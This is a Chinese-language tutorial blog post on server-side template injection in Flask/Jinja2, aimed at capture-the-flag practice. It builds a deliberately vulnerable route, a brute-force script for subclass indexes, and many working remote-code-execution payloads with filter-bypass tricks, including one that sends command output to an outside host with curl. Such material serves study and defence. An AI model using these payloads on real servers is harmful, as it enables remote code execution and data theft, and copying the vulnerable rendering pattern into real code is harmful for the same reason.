SSTI注入

server/2025/1/22 12:15:50/

ssti漏洞成因

ssti服务端模板注入,ssti主要为python的一些框架 jinja2 mako tornado django,PHP框架smarty twig,java框架jade velocity等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。

  • 何为模板引擎?

模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易。但是往往新的开发都会导致一些安全问题,虽然模板引擎会提供沙箱机制,但同样存在沙箱逃逸技术来绕过。

通俗点理解:拿到数据,塞到模板里,然后让渲染引擎将塞进去的东西生成 html 的文本,返回给浏览器,这样做的好处展示数据快,大大提升效率。

1、后端渲染:浏览器会直接接收到经过服务器计算之后的呈现给用户的最终的HTML字符串,计算就是服务器后端经过解析服务器端的模板来完成的,后端渲染的好处是对前端浏览器的压力较小,主要任务在服务器端就已经完成。

2、前端渲染:前端渲染相反,是浏览器从服务器得到信息,可能是json等数据包封装的数据,也可能是html代码,他都是由浏览器前端来解析渲染成html的人们可视化的代码而呈现在用户面前,好处是对于服务器后端压力较小,主要渲染在用户的客户端完成。

举例:

<html>
<div>{$what}</div>
</html>

此时想要呈现在用户面前的是数据的详细名字,但是{$what}并不知道具体的数据,因此此时需要用url或者cookie包含的信息来渲染到what的变量里,最终呈现在前端的结果:

<html>
<div>d3f4u1t</div>
</html>

flask

flask说白了就是基于python的一种模板,一种轻量级的web框架

补充一下python Flask库的基本知识:

  • route装饰器路由

python">@app.route('/')

使用route()装饰器告诉Flask什么样的URL能触发我们的函数.route()装饰器把一个函数绑定到对应的URL上,这句话相当于路由,一个路由跟随一个函数,如:

python">@app.route('/')
def test()"return 123

可以根据需要设置不同的路径,以达到访问不同路径触发不同函数的效果

此外还可以设置动态网址,

python">from flask import Flaskapp=Flask(__name__)
@app.route("/test/<username>")
def test(username):return "用户名:%s"%usernameif __name__=='__main__': app.run(host='0.0.0.0',port=5000,debug=False)       

如下:

image-20250120211453264

  • main入口

当.py文件被直接运行时,if __name__=='__main__'之下的代码块将被运行;当.py文件以模块形式被导入时,if __name__=='__main__'之下的代码块不被运行。如果你经常以cmd方式运行自己写的python小脚本,那么不需要这个东西,但是如果需要做一个稍微大一点的python开发,写if __name__=='__main__'是一个良好的习惯,大一点的python脚本要分开几个文件来写,一个文件要使用另一个文件,也就是模块,此时这个if就会起到作用不会运行而是类似于文件包含来使用。

  • 模板渲染

可以使用 render_template() 方法来渲染模板。需要做的就是将模板名和想作为关键字的参数传入模板的变量。

例:

python">from flask import render_template@app.route('/hello/')
@app.route('/hello/<name>')
def hello(name=None):return render_template('hello.html', name=name)

render_template函数渲染的是templates文件夹中的模板,所谓模板是我们自己写的html,里面的参数需要我们根据每个用户需求传入动态变量。

结构如下:

├── app.py  
├── static  
│   └── style.css  
└── templates  └── index.html

写一个index.html文件到templates文件夹

<html><head><title>{{title}} - d3f4u1t</title></head><body><h1>Hello, {{user.name}}!</h1></body>
</html>

user及title是需要渲染的参数

在app.py中进行渲染:

python">@app.route('/')
@app.route('/index')#我们访问/或者/index都会跳转
def index():user = {'name': 'test1'}#传入一个字典数组return render_template("index.html",title='Home',user=user)

效果:

image-20250120213434669

这样就完成了一次模板的渲染

SSTI分析

先上代码:

python">from flask import Flask
from flask import render_template
from flask import request
from flask import render_template_stringapp = Flask(__name__)
@app.route('/test',methods=['GET', 'POST'])
def test():template = '''<div class="center-content error"><h1>Oops! That page doesn't exist.</h1><h3>%s</h3></div> ''' %(request.url)return render_template_string(template)if __name__ == '__main__':app.run(host='0.0.0.0',port=5000,debug=True) 

先说下render_template_string和render_template的区别:

  1. render_template()函数渲染一个指定的文件 , 这个指定的文件其实就是模板
  2. render_template_string()函数用来渲染一个字符串

这里的request.url可控,同时引擎渲染的是字符串,因此就可以构造python的调用链来实现攻击

  • 攻击原理

首先我们知道在flask框架中{{}}是会执行代码的

image-20250120225030321

python中,object类是Python中所有类的基类,如果定义一个类时没有指定继承哪个类,则默认继承object类。

打开cmd运行python环境,查看空字符的所属的类:

image-20250120223306030

返回了<class ‘str’>,对于一个空字符串他已经打印了str类型,在python中,每个类都有一个bases属性,列出其基类。

image-20250120223403485

可见已经找到了他的基类object,而我们想要寻找object类的不仅仅只有bases,同样可以使用mromro给出了method resolution order,即解析方法调用的顺序,如下:

展现了方法的调用顺序

image-20250120223442830

正是由于这些但不仅限于这些方法,我们才有了各种沙箱逃逸的姿势。

在flask ssti中poc中很大一部分是从object类中寻找我们可利用的类的方法。接下来增加代码。接下来使用subclasses,subclasses() 这个方法,这个方法返回的是这个类的子类的集合,也就是object类的子类的集合。

image-20250120223629639

然后需要在子类中找到合适的类,再从合适的类中寻找需要的方法。通常会用到<class ‘os._wrap_close’>类

通常子类的数量很多,可以用以下的脚本来进行每局直到匹配到需要的类

python">import requests
from tqdm import tqdmfor i in tqdm(range(233)):url = 'http://demourl/?parameter={{%22%22.__class__.__bases__[0].__subclasses__()['+str(i)+']}}'r = requests.get(url=url).textif('os._wrap_close' in r):print(i)

以该demo为例:

python">import requests
from tqdm import tqdmfor i in tqdm(range(233)):url = 'http://127.0.0.1:5000/test?{{%22%22.__class__.__bases__[0].__subclasses__()['+str(i)+']}}'r = requests.get(url=url).textif('os._wrap_close' in r):print(i,end='\n')break

image-20250120224736883

显示是第134个(因为序号0算第一个)

这个时候再利用.init.globals来找os类下的,init初始化类,然后globals全局来查找所有的方法及变量及参数。

http://127.0.0.1:5000/test?{{"".__class__.__bases__[0].__subclasses__()[133].__init__.__globals__}}

这里找到popen方法,相当于os.open,然后使用read()从该管道文件对象中一次性读取所有命令执行后的输出结果并返回为字符串。

image-20250120225437292

http://127.0.0.1:5000/test?{{"".__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['popen']('whoami').read()}}

image-20250120225603689

  • 总结

实战中SSTI的出现并不多,当然在CTF中较常出现,因此在理解了SSTI的原理后,下一步应该积累更多的过滤技巧

如:

1.过滤[]等括号

使用gititem绕过。如原poc {{“”.class.bases[0]}}

绕过后{{“”.class.bases.getitem(0)}}

2.过滤了subclasses,拼凑法

原poc{{“”.class.bases[0].subclasses()}}

绕过 {{“”.class.bases[0]‘subcla’+'sses’}}

3.过滤class

使用session

poc {{session[‘cla’+'ss’].bases[0].bases[0].bases[0].bases[0].subclasses()[118]}}

多个bases[0]是因为一直在向上找object类。使用mro就会很方便

{{session['__cla'+'ss__'].__mro__[12]}}

或者

request['__cl'+'ass__'].__mro__[12]}}

4.timeit姿势

import timeit
timeit.timeit("__import__('os').system('whoami')",number=1)import platform
print platform.popen('dir').read()

还有以下的:

过滤了点

jinja2中除了Python中靠点获取属性,还可以用中括号,也即:

python">''.__class__ = ''['__class__']

除此之外,如果连中括号也过滤了的话,还有一个|attr的过滤器,过滤器可以与Linux中管道符|进行类比,也即用前面的(输出)作为后面操作的对象

python">''.__class__ = ''|attr('__class__')

过滤了中括号

过滤了中括号的情况下,除了可以用上文说到的attr过滤器,还可以使用魔法方法__getattribute__来获取属性,__getitem__来获取字典中的键值

python">''.__class__ = ''.__getattribute__('__class__')
url_for.__globals__['__builtins__'] = url_for.__globals__.__getitem__('__builtins__') #__globals__返回的是字典, 另外__builtins__也是字典

url_for是Flask中一个特殊的方法,在模板注入中可用于命令执行:

python">{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}
#类似的还有
get_flashed_messages.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")
lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")              
#另外还有,lipsum.__globals__含有os模块:
{{lipsum.__globals__['os'].popen('ls').read()}}
{{get_flashed_messages.__globals__['os'].popen('dir').read()}}#自己发现这两个也有
{{url_for.__globals__['os'].popen('dir').read()}}config #{{config}}所有设置,也可以用于获得其他东西
#如下
{{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}
{{ config.__class__.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('dir').read()")}}#实际上,对于任何.__init__不带wrapper的都可以调用到__globals__,而在flask中,未定义的也不带,所以有如下payload
foobar.__class__.__init__.__globals__['__builtins__'] #这里面有个opne函数,open("filename").read可以直接读取文件
#foobar.__class__.__init__显示的是:<function Undefined.__init__ at 0x03275658> 

对于字典,我们还有其他的一些方法

python">url_for.__globals__.pop('__builtins__')#删除某个键值,返回值是改键值,不过不建议轻易使用,因为可能删除掉重要的东西
url_for.__globals__.get('__builtins__')#得到某个键值,这个好用
url_for.__globals__.setdefault('__builtins__')#和get类似

后来发现居然忽视了Python可以直接用点操作符

python">{{url_for.__globals__.__builtins__}}

而过滤了中括号最大的影响,实际是列表取值,还好列表也可以使用__getitem__

python">''.__class__.__mro__[-1] = ''.__class__.__mro__.__getitem__(-1)

过滤了关键字

对于模板注入,比较有效的方法就是禁止掉payload中的关键字(如class、init等),那么,对于此,我们要怎么绕过呢

1.拼接

python">''.__class__ = ''['__cla' + 'ss__']
#或者使用过滤器 ('__clas','s__')|join

其实并不需要加号

python">''.__class__ = ''['__cla''ss__']

2.还可以使用~进行拼接

python">''.__class__ = ''['__cla'~'ss__']
{%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}

3.转置

python">''.__class__ = ''['__ssalc__'[::-1]]
#或者使用过滤器 "__ssalc__"|reverse

4.利用str内置方法

python">''.__class__ = ""['__cTass__'.replace("T","l")] = 
''['X19jbGFzc19f'.decode('base64')] = #不知道为什么我这里说'str object' has no attribute 'decode' 原理上讲应该可以(后来发现好是python3的原因)
''['__CLASS__'.lower()]
#字符串的替换,还可以使用过滤器 "__claee__"|replace("ee","ss") 

5.编码绕过

可以利用Python的字符串格式化

python">''.__class__ = ''["{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)]
#或者使用过滤器  ""["%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)]

6.还可以利用十六进制的字符绕过

python">''.__class__ = ''["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]

还可以利用chr函数进行转换,但是我们先要找到chr函数

python">{% set chr=url_for.__globals__['__builtins__'].chr %} #{%set chr = x.__init__.__globals__['__builtins__'].chr%}
{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}

7.使用request

python">request              #request.__init__.__globals__['__builtins__']
request.args.x1   	 #get传参
request.values.x1 	 #所有参数
request.cookies      #cookies参数
request.headers      #请求头参数
request.form.x1   	 #post传参	(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data  		 #post传参	(Content-Type:a/b)
request.json		 #post传json  (Content-Type: application/json)

payload:

python">{{x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}}
#然后首部设置Cookie:x1=__builtins__;x2=__import__('os').popen('cat /flag').read(){{""[request["args"]["class"]][request["args"]["mro"]][1][request["args"]["subclass"]]()[286][request["args"]["init"]][request["args"]["globals"]]["os"]["popen"]("ls /")["read"]()}}
#post或者get传参 class=__class__&mro=__mro__&subclass=__subclasses__&init=__init__&globals=__globals__ (适用于过滤下划线)

过滤了单双引号

python">{{config.__class__.__init__.__globals__[request.args.os].popen(request.args.command).read()}}&os=os&command=cat /flag

还可以利用上面用的chr()方法

python">{%set chr = x.__init__.__globals__.get(__builtins__).chr%}
{{x.__init__.__globals__[chr(111)%2bchr(115)][chr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)](chr(108)%2bchr(115)).read()}}#__globals__['os']['popen']('ls').read()

过滤了双花括号

双花括号,即:\{\{ 或者 \}\}

python">{%print(x|attr(request.cookies.init)|attr(request.cookies.globals)|attr(request.cookie.getitem)|attr(request.cookies.builtins)|attr(request.cookies.getitem)(request.cookies.eval)(request.cookies.command))%}
#cookie: init=__init__;globals=__globals__;getitem=__getitem__;builtins=__builtins__;eval=eval;command=__import__("os").popen("cat /flag").read()

上面的意思即:

__init__ -> __globals__ -> __getitem__ -> __builtins__ -> __getitem__(eval) -> eval(...)

还可以

python">{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://xx.xxx.xx.xx:8080/?i=ls /').read()=='p' %}1{% endif %} #python2 没测试过

构造字符


有时候过滤特别严格得时候,我们就需要自己想法来构造字符串

过滤器 ()|select|string

()|select|string`得到的结果是: `<generator object select_or_reject at 0x十六进制数字>

可以看到有下划线什么的,然后我们就可以用()|select|string[24]等来取字符,其实foobar|select|string也是一样的

python">{{(()|select|string)[24]~
(()|select|string)[24]~
(()|select|string)[15]~
(()|select|string)[20]~
(()|select|string)[6]~
(()|select|string)[18]~
(()|select|string)[18]~
(()|select|string)[24]~
(()|select|string)[24]}} = "__classs__"

如果过滤了中括号,还可以使用foobar|select|string|list转换为列表后,使用pop或者__getitem__来取值

dict(clas=a,s=b)|join

使用dict(cla=a,s=b)|join后,得到的是字符串”class”,可以直接看看下面的payload

python">{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}#("_","_","init","_","_")|join()  实际上使用可以不用join后面的括号
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}

dict(e=a)|join|count

当过滤数字的时候,我们可以用这种方法得到数字

python">dict(e=a)|join|count #1
dict(ee=a)|join|count #2

http://www.ppmy.cn/server/160452.html

相关文章

C#集合操作优化:高效实现批量添加与删除

在C#中&#xff0c;对集合进行批量操作&#xff08;如批量添加或删除元素&#xff09;通常涉及使用集合类型提供的方法和特性&#xff0c;以及可能的循环或LINQ查询来高效地处理大量数据。以下是一些常见的方法和技巧&#xff1a; 批量添加元素 使用集合的AddRange方法&#x…

vif-方差膨胀因子计算

vif-方差膨胀因子 使用statsmodels中的variance_inflation_factor&#xff0c;数据集使用乳腺癌数据集 import pandas as pd import numpy as np from sklearn.datasets import load_breast_cancer from tqdm import notebook from statsmodels.stats.outliers_influence impor…

利用 Java 爬虫获取 1688 商品评论的实践指南

在电商领域&#xff0c;商品评论是消费者决策的重要参考因素&#xff0c;同时也是商家了解产品反馈、优化服务的关键数据来源。1688 作为国内知名的 B2B 电商平台&#xff0c;拥有海量的商品评论数据。本文将详细介绍如何利用 Java 爬虫技术获取 1688 商品评论&#xff0c;并提…

Dify:低代码 AI 应用开发平台详解与实战指南

Dify&#xff1a;低代码 AI 应用开发平台详解与实战指南 近年来&#xff0c;大语言模型&#xff08;LLM&#xff09;的快速发展使得 AI 应用的开发变得更加高效&#xff0c;而 Dify 作为一款低代码 AI 应用开发平台&#xff0c;让开发者可以更轻松地构建和部署 AI 驱动的智能助…

虚幻商城 Fab 免费资产自动化入库

文章目录 一、背景二、实现效果展示三、实现自动化入库一、背景 上一次写了个这篇文章 虚幻商城 Quixel 免费资产一键入库,根据这个构想,便决定将范围扩大,使 Fab 商城的所有的免费资产自动化入库,是所有!所有! 上一篇文章是根据下图这部分资产一键入库: 而这篇文章则…

OS2.【Linux】基本命令入门(1)

目录 1.操作系统是什么? 2.好操作系统的衡量标准 3.操作系统的核心工作 4.在计算机上所有行为都会被转换为硬件行为 5.文件 6.简单介绍一些基本命令 1.clear 2.pwd 3.ls 1.ls -l 2.隐藏文件的创建 3.ls -al 4.ls -ld 5.ls -F(注意是大写) 4.cd 1.cd .. "…

搭建一个基于Spring Boot的书籍学习平台

搭建一个基于Spring Boot的书籍学习平台可以涵盖多个功能模块&#xff0c;例如用户管理、书籍管理、学习进度跟踪、笔记管理、评论和评分等。以下是一个简化的步骤指南&#xff0c;帮助你快速搭建一个基础的书籍学习平台。 — 1. 项目初始化 使用 Spring Initializr 生成一个…